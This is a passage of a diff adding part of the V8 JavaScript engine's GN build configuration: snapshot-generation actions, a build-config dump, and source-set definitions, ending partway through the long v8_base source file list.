+  visibility = [ ":*" ]  # Only targets in this file can depend on this.
+
+  deps = [
+    ":mksnapshot($v8_snapshot_toolchain)",
+  ]
+
+  script = "tools/run.py"
+
+  sources = []
+
+  outputs = [
+    "$target_gen_dir/snapshot.cc",
+  ]
+
+  args = [
+    "./" + rebase_path(get_label_info(":mksnapshot($v8_snapshot_toolchain)",
+                                      "root_out_dir") + "/mksnapshot",
+                       root_build_dir),
+    "--startup_src",
+    rebase_path("$target_gen_dir/snapshot.cc", root_build_dir),
+  ]
+
+  if (v8_random_seed != "0") {
+    args += [
+      "--random-seed",
+      v8_random_seed,
+    ]
+  }
+
+  if (v8_use_external_startup_data) {
+    outputs += [ "$root_out_dir/snapshot_blob.bin" ]
+    args += [
+      "--startup_blob",
+      rebase_path("$root_out_dir/snapshot_blob.bin", root_build_dir),
+    ]
+  }
+
+  if (v8_embed_script != "") {
+    sources += [ v8_embed_script ]
+    args += [ rebase_path(v8_embed_script, root_build_dir) ]
+  }
+}
+
+action("run_mkpeephole") {
+  visibility = [ ":*" ]  # Only targets in this file can depend on this.
+
+  deps = [
+    ":mkpeephole($v8_snapshot_toolchain)",
+  ]
+
+  outputs = [
+    v8_generated_peephole_source,
+  ]
+
+  sources = []
+
+  script = "tools/run.py"
+
+  args = [
+    "./" + rebase_path(get_label_info(":mkpeephole($v8_snapshot_toolchain)",
+                                      "root_out_dir") + "/mkpeephole",
+                       root_build_dir),
+    rebase_path(v8_generated_peephole_source, root_build_dir),
+  ]
+}
+
+action("v8_dump_build_config") {
+  script = "tools/testrunner/utils/dump_build_config.py"
+  outputs = [
+    "$root_out_dir/v8_build_config.json",
+  ]
+  args = [
+    rebase_path("$root_out_dir/v8_build_config.json", root_build_dir),
+    "dcheck_always_on=$dcheck_always_on",
+    "is_asan=$is_asan",
+    "is_cfi=$is_cfi",
+    "is_component_build=$is_component_build",
+    "is_debug=$is_debug",
+    "is_msan=$is_msan",
+    "is_tsan=$is_tsan",
+    "target_cpu=\"$target_cpu\"",
+    "v8_enable_i18n_support=$v8_enable_i18n_support",
+    "v8_target_cpu=\"$v8_target_cpu\"",
+    "v8_use_snapshot=$v8_use_snapshot",
+  ]
+}
+
+###############################################################################
+# Source Sets (aka static libraries)
+#
+
+source_set("v8_maybe_snapshot") {
+  if (v8_use_snapshot && v8_use_external_startup_data) {
+    public_deps = [
+      ":v8_external_snapshot",
+    ]
+  } else if (v8_use_snapshot) {
+    public_deps = [
+      ":v8_snapshot",
+    ]
+  } else {
+    # Ignore v8_use_external_startup_data setting if no snapshot is used.
+    public_deps = [
+      ":v8_nosnapshot",
+    ]
+  }
+}
+
+v8_source_set("v8_nosnapshot") {
+  visibility = [ ":*" ]  # Only targets in this file can depend on this.
+
+  deps = [
+    ":js2c",
+    ":js2c_experimental",
+    ":js2c_experimental_extras",
+    ":js2c_extras",
+    ":v8_base",
+  ]
+
+  sources = [
+    "$target_gen_dir/experimental-extras-libraries.cc",
+    "$target_gen_dir/experimental-libraries.cc",
+    "$target_gen_dir/extras-libraries.cc",
+    "$target_gen_dir/libraries.cc",
+    "src/snapshot/snapshot-empty.cc",
+  ]
+
+  configs = [ ":internal_config" ]
+}
+
+v8_source_set("v8_snapshot") {
+  # Only targets in this file and the top-level visibility target can
+  # depend on this.
+  visibility = [
+    ":*",
+    "//:gn_visibility",
+  ]
+
+  deps = [
+    ":js2c",
+    ":js2c_experimental",
+    ":js2c_experimental_extras",
+    ":js2c_extras",
+    ":v8_base",
+  ]
+  public_deps = [
+    # This should be public so downstream targets can declare the snapshot
+    # output file as their inputs.
+    ":run_mksnapshot",
+  ]
+
+  sources = [
+    "$target_gen_dir/experimental-extras-libraries.cc",
+    "$target_gen_dir/experimental-libraries.cc",
+    "$target_gen_dir/extras-libraries.cc",
+    "$target_gen_dir/libraries.cc",
+    "$target_gen_dir/snapshot.cc",
+  ]
+
+  configs = [ ":internal_config" ]
+}
+
+if (v8_use_external_startup_data) {
+  v8_source_set("v8_external_snapshot") {
+    visibility = [ ":*" ]  # Only targets in this file can depend on this.
+
+    deps = [
+      ":js2c",
+      ":js2c_experimental",
+      ":js2c_experimental_extras",
+      ":js2c_extras",
+      ":v8_base",
+    ]
+    public_deps = [
+      ":natives_blob",
+      ":run_mksnapshot",
+    ]
+
+    sources = [
+      "src/snapshot/natives-external.cc",
+      "src/snapshot/snapshot-external.cc",
+    ]
+
+    configs = [ ":internal_config" ]
+  }
+}
+
+v8_source_set("v8_base") {
+  visibility = [ ":*" ]  # Only targets in this file can depend on this.
+
+  sources = [
+    "//base/trace_event/common/trace_event_common.h",
+    "include/v8-debug.h",
+    "include/v8-experimental.h",
+    "include/v8-platform.h",
+    "include/v8-profiler.h",
+    "include/v8-testing.h",
+    "include/v8-util.h",
+    "include/v8-version.h",
+    "include/v8.h",
+    "include/v8config.h",
+    "src/accessors.cc",
+    "src/accessors.h",
+    "src/address-map.cc",
+    "src/address-map.h",
+    "src/allocation-site-scopes.cc",
+    "src/allocation-site-scopes.h",
+    "src/allocation.cc",
+    "src/allocation.h",
+    "src/api-arguments-inl.h",
+    "src/api-arguments.cc",
+    "src/api-arguments.h",
+    "src/api-experimental.cc",
+    "src/api-experimental.h",
+    "src/api-natives.cc",
+    "src/api-natives.h",
+    "src/api.cc",
+    "src/api.h",
+    "src/arguments.cc",
+    "src/arguments.h",
+    "src/asmjs/asm-js.cc",
+    "src/asmjs/asm-js.h",
+    "src/asmjs/asm-typer.cc",
+    "src/asmjs/asm-typer.h",
+    "src/asmjs/asm-types.cc",
+    "src/asmjs/asm-types.h",
+    "src/asmjs/asm-wasm-builder.cc",
+    "src/asmjs/asm-wasm-builder.h",
+    "src/assembler.cc",
+    "src/assembler.h",
+    "src/assert-scope.cc",
+    "src/assert-scope.h",
+    "src/ast/ast-expression-rewriter.cc",
+    "src/ast/ast-expression-rewriter.h",
+    "src/ast/ast-literal-reindexer.cc",
+    "src/ast/ast-literal-reindexer.h",
+    "src/ast/ast-numbering.cc",
+    "src/ast/ast-numbering.h",
+    "src/ast/ast-traversal-visitor.h",
+    "src/ast/ast-type-bounds.h",
+    "src/ast/ast-value-factory.cc",
+    "src/ast/ast-value-factory.h",
+    "src/ast/ast.cc",
+    "src/ast/ast.h",
+    "src/ast/context-slot-cache.cc",
+    "src/ast/context-slot-cache.h",
+    "src/ast/modules.cc",
+    "src/ast/modules.h",
+    "src/ast/prettyprinter.cc",
+    "src/ast/prettyprinter.h",
+    "src/ast/scopeinfo.cc",
+    "src/ast/scopeinfo.h",
+    "src/ast/scopes.cc",
+    "src/ast/scopes.h",
+    "src/ast/variables.cc",
+    "src/ast/variables.h",
+    "src/background-parsing-task.cc",
+    "src/background-parsing-task.h",
+    "src/bailout-reason.cc",
+    "src/bailout-reason.h",
+    "src/basic-block-profiler.cc",
+    "src/basic-block-profiler.h",
+    "src/bignum-dtoa.cc",
+    "src/bignum-dtoa.h",
+    "src/bignum.cc",
+    "src/bignum.h",
+    "src/bit-vector.cc",
+    "src/bit-vector.h",
+    "src/bootstrapper.cc",
+    "src/bootstrapper.h",
+    "src/builtins/builtins-api.cc",
+    "src/builtins/builtins-array.cc",
+    "src/builtins/builtins-arraybuffer.cc",
+    "src/builtins/builtins-boolean.cc",
+    "src/builtins/builtins-call.cc",
+    "src/builtins/builtins-callsite.cc",
+    "src/builtins/builtins-conversion.cc",
+    "src/builtins/builtins-dataview.cc",
+    "src/builtins/builtins-date.cc",
+    "src/builtins/builtins-debug.cc",
+    "src/builtins/builtins-error.cc",
+    "src/builtins/builtins-function.cc",
+    "src/builtins/builtins-generator.cc",
+    "src/builtins/builtins-global.cc",
+    "src/builtins/builtins-handler.cc",
+    "src/builtins/builtins-internal.cc",
+    "src/builtins/builtins-interpreter.cc",
+    "src/builtins/builtins-json.cc",
+    "src/builtins/builtins-math.cc",
+    "src/builtins/builtins-number.cc",
+    "src/builtins/builtins-object.cc",
+    "src/builtins/builtins-proxy.cc",
+    "src/builtins/builtins-reflect.cc",
+    "src/builtins/builtins-sharedarraybuffer.cc",
+    "src/builtins/builtins-string.cc",
+    "src/builtins/builtins-symbol.cc",
+    "src/builtins/builtins-typedarray.cc",
+    "src/builtins/builtins-utils.h",
+    "src/builtins/builtins.cc",
+    "src/builtins/builtins.h",
+    "src/cached-powers.cc",
+    "src/cached-powers.h",
+    "src/cancelable-task.cc",
+    "src/cancelable-task.h",
+    "src/char-predicates-inl.h",
+    "src/char-predicates.cc",
+    "src/char-predicates.h",
+    "src/checks.h",
+    "src/code-events.h",
+    "src/code-factory.cc",
+    "src/code-factory.h",
+    "src/code-stub-assembler.cc",
+    "src/code-stub-assembler.h",
+    "src/code-stubs-hydrogen.cc",
+    "src/code-stubs.cc",
+    "src/code-stubs.h",
+    "src/codegen.cc",
+    "src/codegen.h",
+    "src/collector.h",
+    "src/compilation-cache.cc",
+    "src/compilation-cache.h",
+    "src/compilation-dependencies.cc",
+    "src/compilation-dependencies.h",
+    "src/compilation-statistics.cc",
+    "src/compilation-statistics.h",
+    "src/compiler-dispatcher/compiler-dispatcher-job.cc",
+    "src/compiler-dispatcher/compiler-dispatcher-job.h",
+    "src/compiler-dispatcher/optimizing-compile-dispatcher.cc",
+    "src/compiler-dispatcher/optimizing-compile-dispatcher.h",
+    "src/compiler.cc",
+    "src/compiler.h",
+    "src/compiler/access-builder.cc",
+    "src/compiler/access-builder.h",
+    "src/compiler/access-info.cc",
+    "src/compiler/access-info.h",
+    "src/compiler/all-nodes.cc",
+    "src/compiler/all-nodes.h",
+    "src/compiler/ast-graph-builder.cc",
+    "src/compiler/ast-graph-builder.h",
+    "src/compiler/ast-loop-assignment-analyzer.cc",
+    "src/compiler/ast-loop-assignment-analyzer.h",
+    "src/compiler/basic-block-instrumentor.cc",
+    "src/compiler/basic-block-instrumentor.h",
+    "src/compiler/branch-elimination.cc",
+    "src/compiler/branch-elimination.h",
+    "src/compiler/bytecode-branch-analysis.cc",
+    "src/compiler/bytecode-branch-analysis.h",
+    "src/compiler/bytecode-graph-builder.cc",
+    "src/compiler/bytecode-graph-builder.h",
+    "src/compiler/bytecode-loop-analysis.cc",
+    "src/compiler/bytecode-loop-analysis.h",
+    "src/compiler/c-linkage.cc",
+    "src/compiler/checkpoint-elimination.cc",
+    "src/compiler/checkpoint-elimination.h",
+    "src/compiler/code-assembler.cc",
+    "src/compiler/code-assembler.h",
+    "src/compiler/code-generator-impl.h",
+    "src/compiler/code-generator.cc",
+    "src/compiler/code-generator.h",
+    "src/compiler/common-node-cache.cc",
+    "src/compiler/common-node-cache.h",
+    "src/compiler/common-operator-reducer.cc",
+    "src/compiler/common-operator-reducer.h",
+    "src/compiler/common-operator.cc",
+    "src/compiler/common-operator.h",
+    "src/compiler/control-builders.cc",
+    "src/compiler/control-builders.h",
+    "src/compiler/control-equivalence.cc",
+    "src/compiler/control-equivalence.h",
+    "src/compiler/control-flow-optimizer.cc",
+    "src/compiler/control-flow-optimizer.h",
+    "src/compiler/dead-code-elimination.cc",
+    "src/compiler/dead-code-elimination.h",
+    "src/compiler/diamond.h",
+    "src/compiler/effect-control-linearizer.cc",
+    "src/compiler/effect-control-linearizer.h",
+    "src/compiler/escape-analysis-reducer.cc",
+    "src/compiler/escape-analysis-reducer.h",
+    "src/compiler/escape-analysis.cc",
+    "src/compiler/escape-analysis.h",
+    "src/compiler/frame-elider.cc",
+    "src/compiler/frame-elider.h",
+    "src/compiler/frame-states.cc",
+    "src/compiler/frame-states.h",
+    "src/compiler/frame.cc",
+    "src/compiler/frame.h",
+    "src/compiler/gap-resolver.cc",
+    "src/compiler/gap-resolver.h",
+    "src/compiler/graph-reducer.cc",
+    "src/compiler/graph-reducer.h",
+    "src/compiler/graph-replay.cc",
+    "src/compiler/graph-replay.h",
+    "src/compiler/graph-trimmer.cc",
+    "src/compiler/graph-trimmer.h",
+    "src/compiler/graph-visualizer.cc",
+    "src/compiler/graph-visualizer.h",
+    "src/compiler/graph.cc",
+    "src/compiler/graph.h",
+    "src/compiler/instruction-codes.h",
+    "src/compiler/instruction-scheduler.cc",
+    "src/compiler/instruction-scheduler.h",
+    "src/compiler/instruction-selector-impl.h",
+    "src/compiler/instruction-selector.cc",
+    "src/compiler/instruction-selector.h",
+    "src/compiler/instruction.cc",
+    "src/compiler/instruction.h",
+    "src/compiler/int64-lowering.cc",
+    "src/compiler/int64-lowering.h",
+    "src/compiler/js-builtin-reducer.cc",
+    "src/compiler/js-builtin-reducer.h",
+    "src/compiler/js-call-reducer.cc",
+    "src/compiler/js-call-reducer.h",
+    "src/compiler/js-context-specialization.cc",
+    "src/compiler/js-context-specialization.h",
+    "src/compiler/js-create-lowering.cc",
+    "src/compiler/js-create-lowering.h",
+    "src/compiler/js-frame-specialization.cc",
+    "src/compiler/js-frame-specialization.h",
+    "src/compiler/js-generic-lowering.cc",
+    "src/compiler/js-generic-lowering.h",
+    "src/compiler/js-global-object-specialization.cc",
+    "src/compiler/js-global-object-specialization.h",
+    "src/compiler/js-graph.cc",
+    "src/compiler/js-graph.h",
+    "src/compiler/js-inlining-heuristic.cc",
+    "src/compiler/js-inlining-heuristic.h",
+    "src/compiler/js-inlining.cc",
+    "src/compiler/js-inlining.h",
+    "src/compiler/js-intrinsic-lowering.cc",
+    "src/compiler/js-intrinsic-lowering.h",
+    "src/compiler/js-native-context-specialization.cc",
+    "src/compiler/js-native-context-specialization.h",
+    "src/compiler/js-operator.cc",
+    "src/compiler/js-operator.h",
+    "src/compiler/js-typed-lowering.cc",
+    "src/compiler/js-typed-lowering.h",
+    "src/compiler/jump-threading.cc",
+    "src/compiler/jump-threading.h",
+    "src/compiler/linkage.cc",
+    "src/compiler/linkage.h",
+    "src/compiler/live-range-separator.cc",
+    "src/compiler/live-range-separator.h",
+    "src/compiler/liveness-analyzer.cc",
+    "src/compiler/liveness-analyzer.h",
+    "src/compiler/load-elimination.cc",
+    "src/compiler/load-elimination.h",
+    "src/compiler/loop-analysis.cc",
+    "src/compiler/loop-analysis.h",
+    "src/compiler/loop-peeling.cc",
+    "src/compiler/loop-peeling.h",
+    "src/compiler/loop-variable-optimizer.cc",
+    "src/compiler/loop-variable-optimizer.h",
+    "src/compiler/machine-operator-reducer.cc",
+    "src/compiler/machine-operator-reducer.h",
+    "src/compiler/machine-operator.cc",
+    "src/compiler/machine-operator.h",
+    "src/compiler/memory-optimizer.cc",
+    "src/compiler/memory-optimizer.h",
+    "src/compiler/move-optimizer.cc",
+    "src/compiler/move-optimizer.h",
+    "src/compiler/node-aux-data.h",
+    "src/compiler/node-cache.cc",
+    "src/compiler/node-cache.h",
+    "src/compiler/node-marker.cc",
+    "src/compiler/node-marker.h",
+    "src/compiler/node-matchers.cc",
+    "src/compiler/node-matchers.h",
+    "src/compiler/node-properties.cc",
+    "src/compiler/node-properties.h",
+    "src/compiler/node.cc",
+    "src/compiler/node.h",
+    "src/compiler/opcodes.cc",
+    "src/compiler/opcodes.h",
+    "src/compiler/operation-typer.cc",
+    "src/compiler/operation-typer.h",
+    "src/compiler/operator-properties.cc",
+    "src/compiler/operator-properties.h",
+    "src/compiler/operator.cc",
+    "src/compiler/operator.h",
+    "src/compiler/osr.cc",
+    "src/compiler/osr.h",
+    "src/compiler/pipeline-statistics.cc",
+    "src/compiler/pipeline-statistics.h",
+    "src/compiler/pipeline.cc",
+    "src/compiler/pipeline.h",
+    "src/compiler/raw-machine-assembler.cc",
+    "src/compiler/raw-machine-assembler.h",
+    "src/compiler/redundancy-elimination.cc",
+    "src/compiler/redundancy-elimination.h",
+    "src/compiler/register-allocator-verifier.cc",
+    "src/compiler/register-allocator-verifier.h",
+    "src/compiler/register-allocator.cc",
+    "src/compiler/register-allocator.h",
+    "src/compiler/representation-change.cc",
+    "src/compiler/representation-change.h",
+    "src/compiler/schedule.cc",
+    "src/compiler/schedule.h",
+    "src/compiler/scheduler.cc",
+    "src/compiler/scheduler.h",
+    "src/compiler/select-lowering.cc",
+    "src/compiler/select-lowering.h",
+    "src/compiler/simplified-lowering.cc",
+    "src/compiler/simplified-lowering.h",
+    "src/compiler/simplified-operator-reducer.cc",
+    "src/compiler/simplified-operator-reducer.h",
+    "src/compiler/simplified-operator.cc",
+    "src/compiler/simplified-operator.h",
+    "src/compiler/source-position.cc",
+    "src/compiler/source-position.h",
+    "src/compiler/state-values-utils.cc",
+    "src/compiler/state-values-utils.h",
+    "src/compiler/store-store-elimination.cc",
+    "src/compiler/store-store-elimination.h",
+    "src/compiler/tail-call-optimization.cc",
+    "src/compiler/tail-call-optimization.h",
+    "src/compiler/type-hint-analyzer.cc",
+    "src/compiler/type-hint-analyzer.h",
+    "src/compiler/type-hints.cc",
+    "src/compiler/type-hints.h",
+    "src/compiler/typer.cc",
+    "src/compiler/typer.h",
+    "src/compiler/unwinding-info-writer.h",
+    "src/compiler/value-numbering-reducer.cc",
+    "src/compiler/value-numbering-reducer.h",
+    "src/compiler/verifier.cc",
+    "src/compiler/verifier.h",
+    "src/compiler/wasm-compiler.cc",
+    "src/compiler/wasm-compiler.h",
+    "src/compiler/wasm-linkage.cc",
+    "src/compiler/zone-pool.cc",
+    "src/compiler/zone-pool.h",
+    "src/context-measure.cc",
+    "src/context-measure.h",
+    "src/contexts-inl.h",
+    "src/contexts.cc",
+    "src/contexts.h",
+    "src/conversions-inl.h",
+    "src/conversions.cc",
+    "src/conversions.h",
+    "src/counters-inl.h",
+    "src/counters.cc",
+    "src/counters.h",
+    "src/crankshaft/compilation-phase.cc",
+    "src/crankshaft/compilation-phase.h",
+    "src/crankshaft/hydrogen-alias-analysis.h",
+    "src/crankshaft/hydrogen-bce.cc",
+    "src/crankshaft/hydrogen-bce.h",
+    "src/crankshaft/hydrogen-canonicalize.cc",
+    "src/crankshaft/hydrogen-canonicalize.h",
+    "src/crankshaft/hydrogen-check-elimination.cc",
+    "src/crankshaft/hydrogen-check-elimination.h",
+    "src/crankshaft/hydrogen-dce.cc",
+    "src/crankshaft/hydrogen-dce.h",
+    "src/crankshaft/hydrogen-dehoist.cc",
+    "src/crankshaft/hydrogen-dehoist.h",
+    "src/crankshaft/hydrogen-environment-liveness.cc",
+    "src/crankshaft/hydrogen-environment-liveness.h",
+    "src/crankshaft/hydrogen-escape-analysis.cc",
+    "src/crankshaft/hydrogen-escape-analysis.h",
+    "src/crankshaft/hydrogen-flow-engine.h",
+    "src/crankshaft/hydrogen-gvn.cc",
+    "src/crankshaft/hydrogen-gvn.h",
+    "src/crankshaft/hydrogen-infer-representation.cc",
+    "src/crankshaft/hydrogen-infer-representation.h",
+    "src/crankshaft/hydrogen-infer-types.cc",
+    "src/crankshaft/hydrogen-infer-types.h",
+    "src/crankshaft/hydrogen-instructions.cc",
+    "src/crankshaft/hydrogen-instructions.h",
+    "src/crankshaft/hydrogen-load-elimination.cc",
+    "src/crankshaft/hydrogen-load-elimination.h",
+    "src/crankshaft/hydrogen-mark-deoptimize.cc",
+    "src/crankshaft/hydrogen-mark-deoptimize.h",
+    "src/crankshaft/hydrogen-mark-unreachable.cc",
+    "src/crankshaft/hydrogen-mark-unreachable.h",
+    "src/crankshaft/hydrogen-osr.cc",
+    "src/crankshaft/hydrogen-osr.h",
+    "src/crankshaft/hydrogen-range-analysis.cc",
+    "src/crankshaft/hydrogen-range-analysis.h",
+    "src/crankshaft/hydrogen-redundant-phi.cc",
+    "src/crankshaft/hydrogen-redundant-phi.h",
+    "src/crankshaft/hydrogen-removable-simulates.cc",
+    "src/crankshaft/hydrogen-removable-simulates.h",
+    "src/crankshaft/hydrogen-representation-changes.cc",
+    "src/crankshaft/hydrogen-representation-changes.h",
+    "src/crankshaft/hydrogen-sce.cc",
+    "src/crankshaft/hydrogen-sce.h",
+    "src/crankshaft/hydrogen-store-elimination.cc",
+    "src/crankshaft/hydrogen-store-elimination.h",
+    "src/crankshaft/hydrogen-types.cc",
+    "src/crankshaft/hydrogen-types.h",
+    "src/crankshaft/hydrogen-uint32-analysis.cc",
+    "src/crankshaft/hydrogen-uint32-analysis.h",
+    "src/crankshaft/hydrogen.cc",
+    "src/crankshaft/hydrogen.h",
+    "src/crankshaft/lithium-allocator-inl.h",
+    "src/crankshaft/lithium-allocator.cc",
+    "src/crankshaft/lithium-allocator.h",
+    "src/crankshaft/lithium-codegen.cc",
+    "src/crankshaft/lithium-codegen.h",
+    "src/crankshaft/lithium.cc",
+    "src/crankshaft/lithium.h",
+    "src/crankshaft/typing.cc",
+    "src/crankshaft/typing.h",
+    "src/crankshaft/unique.h",
+    "src/date.cc",
+    "src/date.h",
+    "src/dateparser-inl.h",
+    "src/dateparser.cc",
+    "src/dateparser.h",
+    "src/debug/debug-evaluate.cc",
+    "src/debug/debug-evaluate.h",
+    "src/debug/debug-frames.cc",
+    "src/debug/debug-frames.h",
+    "src/debug/debug-scopes.cc",
+    "src/debug/debug-scopes.h",
+    "src/debug/debug.cc",
+    "src/debug/debug.h",
+    "src/debug/liveedit.cc",
+    "src/debug/liveedit.h",
+    "src/deoptimize-reason.cc",
+    "src/deoptimize-reason.h",
+    "src/deoptimizer.cc",
+    "src/deoptimizer.h",
+    "src/disasm.h",
+    "src/disassembler.cc",
+    "src/disassembler.h",
+    "src/diy-fp.cc",
+    "src/diy-fp.h",
+    "src/double.h",
+    "src/dtoa.cc",
+    "src/dtoa.h",
+    "src/effects.h",
+    "src/eh-frame.cc",
+    "src/eh-frame.h",
+    "src/elements-kind.cc",
+    "src/elements-kind.h",
+    "src/elements.cc",
+    "src/elements.h",
+    "src/execution.cc",
+    "src/execution.h",
+    "src/extensions/externalize-string-extension.cc",
+    "src/extensions/externalize-string-extension.h",
+    "src/extensions/free-buffer-extension.cc",
+    "src/extensions/free-buffer-extension.h",
+    "src/extensions/gc-extension.cc",
+    "src/extensions/gc-extension.h",
+    "src/extensions/ignition-statistics-extension.cc",
+    "src/extensions/ignition-statistics-extension.h",
+    "src/extensions/statistics-extension.cc",
+    "src/extensions/statistics-extension.h",
+    "src/extensions/trigger-failure-extension.cc",
+    "src/extensions/trigger-failure-extension.h",
+    "src/external-reference-table.cc",
+    "src/external-reference-table.h",
+    "src/factory.cc",
+    "src/factory.h",
+    "src/fast-accessor-assembler.cc",
+    "src/fast-accessor-assembler.h",
+    "src/fast-dtoa.cc",
+    "src/fast-dtoa.h",
+    "src/field-index-inl.h",
+    "src/field-index.h",
+    "src/field-type.cc",
+    "src/field-type.h",
+    "src/fixed-dtoa.cc",
+    "src/fixed-dtoa.h",
+    "src/flag-definitions.h",
+    "src/flags.cc",
+    "src/flags.h",
+    "src/frames-inl.h",
+    "src/frames.cc",
+    "src/frames.h",
+    "src/full-codegen/full-codegen.cc",
+    "src/full-codegen/full-codegen.h",
+    "src/futex-emulation.cc",
+    "src/futex-emulation.h",
+    "src/gdb-jit.cc",
+    "src/gdb-jit.h",
+    "src/global-handles.cc",
+    "src/global-handles.h",
+    "src/globals.h",
+    "src/handles-inl.h",
+    "src/handles.cc",
+    "src/handles.h",
+    "src/heap-symbols.h",
+    "src/heap/array-buffer-tracker-inl.h",
+    "src/heap/array-buffer-tracker.cc",
+    "src/heap/array-buffer-tracker.h",
+    "src/heap/code-stats.cc",
+    "src/heap/code-stats.h",
+    "src/heap/gc-idle-time-handler.cc",
+    "src/heap/gc-idle-time-handler.h",
+    "src/heap/gc-tracer.cc",
+    "src/heap/gc-tracer.h",
+    "src/heap/heap-inl.h",
+    "src/heap/heap.cc",
+    "src/heap/heap.h",
+    "src/heap/incremental-marking-job.cc",
+    "src/heap/incremental-marking-job.h",
+    "src/heap/incremental-marking.cc",
+    "src/heap/incremental-marking.h",
+    "src/heap/mark-compact-inl.h",
+    "src/heap/mark-compact.cc",
+    "src/heap/mark-compact.h",
+    "src/heap/marking.h",
+    "src/heap/memory-reducer.cc",
+    "src/heap/memory-reducer.h",
+    "src/heap/object-stats.cc",
+    "src/heap/object-stats.h",
+    "src/heap/objects-visiting-inl.h",
+    "src/heap/objects-visiting.cc",
+    "src/heap/objects-visiting.h",
+    "src/heap/page-parallel-job.h",
+    "src/heap/remembered-set.cc",
+    "src/heap/remembered-set.h",
+    "src/heap/scavenge-job.cc",
+    "src/heap/scavenge-job.h",
+    "src/heap/scavenger-inl.h",
+    "src/heap/scavenger.cc",
+    "src/heap/scavenger.h",
+    "src/heap/slot-set.h",
+    "src/heap/spaces-inl.h",
+    "src/heap/spaces.cc",
+    "src/heap/spaces.h",
+    "src/heap/store-buffer.cc",
+    "src/heap/store-buffer.h",
+    "src/i18n.cc",
+    "src/i18n.h",
+    "src/ic/access-compiler.cc",
+    "src/ic/access-compiler.h",
+    "src/ic/call-optimization.cc",
+    "src/ic/call-optimization.h",
+    "src/ic/handler-compiler.cc",
+    "src/ic/handler-compiler.h",
+    "src/ic/ic-compiler.cc",
+    "src/ic/ic-compiler.h",
+    "src/ic/ic-inl.h",
+    "src/ic/ic-state.cc",
+    "src/ic/ic-state.h",
+    "src/ic/ic.cc",
+    "src/ic/ic.h",
+    "src/ic/stub-cache.cc",
+    "src/ic/stub-cache.h",
+    "src/icu_util.cc",
+    "src/icu_util.h",
+    "src/identity-map.cc",
+    "src/identity-map.h",
+    "src/interface-descriptors.cc",
+    "src/interface-descriptors.h",
+    "src/interpreter/bytecode-array-builder.cc",
+    "src/interpreter/bytecode-array-builder.h",
+    "src/interpreter/bytecode-array-iterator.cc",
+    "src/interpreter/bytecode-array-iterator.h",
+    "src/interpreter/bytecode-array-writer.cc",
+    "src/interpreter/bytecode-array-writer.h",
+    "src/interpreter/bytecode-dead-code-optimizer.cc",
+    "src/interpreter/bytecode-dead-code-optimizer.h",
+    "src/interpreter/bytecode-decoder.cc",
+    "src/interpreter/bytecode-decoder.h",
+    "src/interpreter/bytecode-flags.cc",
+    "src/interpreter/bytecode-flags.h",
+    "src/interpreter/bytecode-generator.cc",
+    "src/interpreter/bytecode-generator.h",
+    "src/interpreter/bytecode-label.cc",
+    "src/interpreter/bytecode-label.h",
+    "src/interpreter/bytecode-peephole-optimizer.cc",
+    "src/interpreter/bytecode-peephole-optimizer.h",
+    "src/interpreter/bytecode-peephole-table.h",
+    "src/interpreter/bytecode-pipeline.cc",
+    "src/interpreter/bytecode-pipeline.h",
+    "src/interpreter/bytecode-register-allocator.cc",
+    "src/interpreter/bytecode-register-allocator.h",
+    "src/interpreter/bytecode-register-optimizer.cc",
+    "src/interpreter/bytecode-register-optimizer.h",
+    "src/interpreter/bytecode-register.cc",
+    "src/interpreter/bytecode-register.h",
+    "src/interpreter/bytecode-traits.h",
+    "src/interpreter/bytecodes.cc",
+    "src/interpreter/bytecodes.h",
+    "src/interpreter/constant-array-builder.cc",
+    "src/interpreter/constant-array-builder.h",
+    "src/interpreter/control-flow-builders.cc",
+    "src/interpreter/control-flow-builders.h",
+    "src/interpreter/handler-table-builder.cc",
+    "src/interpreter/handler-table-builder.h",
+    "src/interpreter/interpreter-assembler.cc",
+    "src/interpreter/interpreter-assembler.h",
+    "src/interpreter/interpreter-intrinsics.cc",
+    "src/interpreter/interpreter-intrinsics.h",
+    "src/interpreter/interpreter.cc",
+    "src/interpreter/interpreter.h",
+    "src/isolate-inl.h",
+    "src/isolate.cc",
+    "src/isolate.h",
+    "src/json-parser.cc",
+    "src/json-parser.h",
+    "src/json-stringifier.cc",
+    "src/json-stringifier.h",
+    "src/keys.cc",
+    "src/keys.h",
+    "src/layout-descriptor-inl.h",
+    "src/layout-descriptor.cc",
+    "src/layout-descriptor.h",
+    "src/list-inl.h",
+    "src/list.h",
+    "src/log-inl.h",
+    "src/log-utils.cc",
+    "src/log-utils.h",
+    "src/log.cc",
+    "src/log.h",
+    "src/lookup.cc",
+    "src/lookup.h",
+    "src/machine-type.cc",
+    "src/machine-type.h",
+    "src/macro-assembler.h",
+    "src/messages.cc",
+    "src/messages.h",
+    "src/msan.h",
+    "src/objects-body-descriptors-inl.h",
+    "src/objects-body-descriptors.h",
+    "src/objects-debug.cc",
+    "src/objects-inl.h",
+    "src/objects-printer.cc",
+    "src/objects.cc",
+    "src/objects.h",
+    "src/ostreams.cc",
+    "src/ostreams.h",
+    "src/parsing/expression-classifier.h",
+    "src/parsing/func-name-inferrer.cc",
+    "src/parsing/func-name-inferrer.h",
+    "src/parsing/parameter-initializer-rewriter.cc",
+    "src/parsing/parameter-initializer-rewriter.h",
+    "src/parsing/parse-info.cc",
+    "src/parsing/parse-info.h",
+    "src/parsing/parser-base.h",
+    "src/parsing/parser.cc",
+    "src/parsing/parser.h",
+    "src/parsing/pattern-rewriter.cc",
+    "src/parsing/preparse-data-format.h",
+    "src/parsing/preparse-data.cc",
+    "src/parsing/preparse-data.h",
+    "src/parsing/preparser.cc",
+    "src/parsing/preparser.h",
+    "src/parsing/rewriter.cc",
+    "src/parsing/rewriter.h",
+    "src/parsing/scanner-character-streams.cc",
+    "src/parsing/scanner-character-streams.h",
+    "src/parsing/scanner.cc",
+    "src/parsing/scanner.h",
+    "src/parsing/token.cc",
+    "src/parsing/token.h",
+    "src/pending-compilation-error-handler.cc",
+    "src/pending-compilation-error-handler.h",
+    "src/perf-jit.cc",
+    "src/perf-jit.h",
+    "src/profiler/allocation-tracker.cc",
+    "src/profiler/allocation-tracker.h",
+    "src/profiler/circular-queue-inl.h",
+    "src/profiler/circular-queue.h",
+    "src/profiler/cpu-profiler-inl.h",
+    "src/profiler/cpu-profiler.cc",
+    "src/profiler/cpu-profiler.h",
+    "src/profiler/heap-profiler.cc",
+    "src/profiler/heap-profiler.h",
+    "src/profiler/heap-snapshot-generator-inl.h",
+    "src/profiler/heap-snapshot-generator.cc",
+    "src/profiler/heap-snapshot-generator.h",
+    "src/profiler/profile-generator-inl.h",
+    "src/profiler/profile-generator.cc",
+    "src/profiler/profile-generator.h",
